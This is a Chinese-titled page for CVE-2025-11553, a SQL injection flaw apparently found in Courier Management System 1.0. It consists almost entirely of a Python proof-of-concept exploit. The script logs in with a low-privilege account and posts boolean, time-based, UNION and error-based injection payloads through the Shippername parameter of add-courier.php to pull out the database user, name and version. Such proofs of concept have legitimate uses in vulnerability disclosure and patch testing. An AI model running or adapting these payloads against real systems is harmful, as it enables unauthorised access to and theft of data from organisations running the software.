CVE-2025-11553：Courier Management System 1.0 SQL注入漏洞

# CVE-2025-11553 PoC - SQL Injection in Courier Management System 1.0 # Vulnerable file: /add-courier.php # Vulnerable parameter: Shippername import requests TARGET_URL = "http://target.com/add-courier.php" USERNAME = "attacker_user" PASSWORD = "attacker_pass" # Step 1: Login to obtain session cookie (low privilege account required) session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD, "login": "submit" } session.post("http://target.com/login.php", data=login_payload) # Step 2: Exploit SQL injection via Shippername parameter # Basic injection payload to bypass string context sql_payload = "test' OR '1'='1' -- -" # Time-based blind injection payload for data extraction time_based_payload = "test' AND SLEEP(5) -- -" # UNION-based injection payload to extract data union_payload = "test' UNION SELECT 1,user(),database(),4,5 -- -" # Step 3: Send malicious request exploit_data = { "Shippername": union_payload, "Receivername": "victim", "Address": "test address", "Contact": "1234567890", "submit": "Add Courier" } response = session.post(TARGET_URL, data=exploit_data) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") print(f"Response Body:\n{response.text[:2000]}") # Step 4: Extract database information via error-based or blind injection # Example: Extract database version version_payload = "test' AND 1=CONVERT(@@version USING utf8) -- -" exploit_data["Shippername"] = version_payload response = session.post(TARGET_URL, data=exploit_data) if "error" in response.text.lower() or "version" in response.text.lower(): print("\n[!] Database version potentially leaked in error message")